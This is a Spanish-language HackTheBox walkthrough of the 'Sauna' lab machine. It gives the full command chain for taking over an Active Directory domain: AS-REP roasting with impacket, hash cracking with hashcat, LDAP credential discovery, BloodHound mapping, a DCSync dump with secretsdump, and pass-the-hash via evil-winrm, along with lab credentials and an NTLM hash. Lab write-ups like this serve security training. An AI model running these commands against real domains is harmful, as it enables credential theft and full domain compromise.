// HackTheBox — Writeup

SAUNA

#windows #active-directory #asrep-roasting #dcsync
// 01

RECONOCIMIENTO — Escaneo de puertos

Se lanza un escaneo con nmap para ver los puertos que tiene abiertos la máquina.

escaneo de puertos
nmap -p- -T5 --min-rate=5000 -n -Pn 10.129.27.149 -oG allPorts
PUERTO ESTADO SERVICIO
53/tcpOPENdomain
80/tcpOPENhttp
88/tcpOPENkerberos-sec
135/tcpOPENmsrpc
389/tcpOPENldap
445/tcpOPENmicrosoft-ds
464/tcpOPENkpasswd5
593/tcpOPENncacn_http
3268/tcpOPENglobalcatLDAP
Directorio activo
Con puertos como el 88 (Kerberos), 389 (LDAP) y 445 (SMB) abiertos, es evidente que la máquina es un controlador de dominio de Active Directory. El dominio identificado es EGOTISTICAL-BANK.LOCAL.
// 02

ENUMERACIÓN WEB — Nombres de empleados

Como no hay nada más por ahora, se revisa la web por el puerto 80. En la sección "About Us" se encuentran los nombres completos de varios trabajadores de la empresa.

Empleados identificados
Fergus Smith, Shaun Coins, Hugo Bear, Bowie Taylor, Sophie Driver y Steven Kerb. Estos nombres se pueden usar para generar una lista de posibles nombres de usuario válidos en el dominio.

Se crea un fichero employees.txt con los nombres y apellidos, y se usa username anarchy para generar todas las combinaciones posibles de nombres de usuario.

generación de lista de usuarios
./username-anarchy --input-file ../../content/employees.txt > ../../content/users.txt
// 03

AS-REP ROASTING — Usuario sin preautenticación

Con la lista de posibles usuarios generada, se lanza un ataque de AS-REP Roasting usando impacket contra el dominio.

as-rep roasting
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -no-pass -dc-ip 10.129.27.149 -format hashcat -outputfile asrep-hashes.txt
Usuario vulnerable a AS-REP Roasting
El usuario fsmith tiene desactivada la preautenticación Kerberos, lo que permite obtener su hash sin necesidad de credenciales previas.

Se intenta crackear el hash obtenido con hashcat contra el diccionario rockyou.txt.

crackeo del hash AS-REP
hashcat -m 18200 asrep-hashes.txt /usr/share/wordlists/rockyou.txt
Contraseña crackeada
La contraseña del usuario fsmith es Thestrokes23.
// 04

ACCESO INICIAL — Shell como fsmith

Con las credenciales fsmith:Thestrokes23 se establece conexión con evil-winrm.

acceso WinRM
evil-winrm -i 10.129.27.149 -u fsmith -p Thestrokes23

La conexión es exitosa. Se usa ParsingPEAS para enumerar el sistema en busca de vectores de escalada de privilegios o credenciales adicionales.

Contraseña de cuenta de servicio en LDAP
La enumeración revela que la cuenta de servicio svc_loanmanager tiene la contraseña Moneymakestheworldgoround! almacenada en un atributo de LDAP, probablemente dejada ahí durante la creación de la cuenta.

Se prueba esta contraseña contra el usuario real svc_loanmgr del dominio, y funciona correctamente.

USER FLAG cat C:\Users\FSmith\Desktop\user.txt
// 05

BLOODHOUND — Mapeo de permisos en el dominio

Con dos cuentas de dominio válidas, se recopila información con bloodhound-python para mapear las relaciones y permisos dentro del Active Directory.

recolección de datos con bloodhound
bloodhound-python -u fsmith -p 'Thestrokes23' -d EGOTISTICAL-BANK.LOCAL -ns 10.129.27.149 -c all --zip bloodhound-python -u svc_loanmgr -p 'Moneymakestheworldgoround!' -d EGOTISTICAL-BANK.LOCAL -ns 10.129.27.149 -c all --zip

Se suben los datos recopilados a la interfaz de BloodHound para analizar el grafo de permisos.

Permisos DCSync sobre el dominio
El usuario svc_loanmgr tiene los privilegios GetChangesAll y GetChanges sobre el objeto del dominio, lo que permite replicar el contenido del Active Directory como si fuera un controlador de dominio — un ataque DCSync.
// 06

DCSYNC — Volcado de hashes del dominio

Con los permisos GetChangesAll confirmados, se lanza el ataque DCSync con impacket-secretsdump para volcar todos los hashes NTLM del dominio, incluyendo el del Administrador.

ataque dcsync
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.27.149
¿Qué es un ataque DCSync?
DCSync abusa del protocolo de replicación de directorio (MS-DRSR) que usan los controladores de dominio entre sí para sincronizar datos. Cualquier cuenta con los permisos GetChanges y GetChangesAll puede solicitar a un DC que le "replique" las credenciales de cualquier usuario del dominio, incluido el Administrador, sin necesidad de ejecutar código en el propio DC.
Hash NTLM del Administrador
Entre los hashes volcados se encuentra el del usuario Administrator: 823452073d75b9d1cf70ebdf86c7f98e.

Con el hash del Administrador se realiza un ataque Pass-The-Hash para autenticarse sin necesidad de conocer la contraseña en texto claro.

pass-the-hash con evil-winrm
evil-winrm -i 10.129.27.149 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e

La conexión se establece correctamente con privilegios de Administrador del dominio.

ROOT FLAG type C:\Users\Administrator\Desktop\root.txt
// RESUMEN

CADENA DE ATAQUE

01
Enumeración web — Nombres de empleados
La sección "About Us" filtra nombres completos → username anarchy genera una lista de posibles usuarios del dominio
02
AS-REP Roasting — Usuario fsmith
GetNPUsers detecta que fsmith tiene la preautenticación Kerberos desactivada → hashcat crackea el hash → fsmith:Thestrokes23
03
Acceso inicial — ParsingPEAS
evil-winrm con fsmith → ParsingPEAS encuentra la contraseña de svc_loanmanager en LDAP → reutilizada en svc_loanmgr:Moneymakestheworldgoround!
04
BloodHound — Permisos DCSync
bloodhound-python mapea el dominio → svc_loanmgr tiene GetChangesAll sobre el objeto de dominio
DCSync + Pass-The-Hash → Administrador
secretsdump vuelca el hash NTLM del Administrador → evil-winrm con Pass-The-Hash → shell como Administrador del dominio → root.txt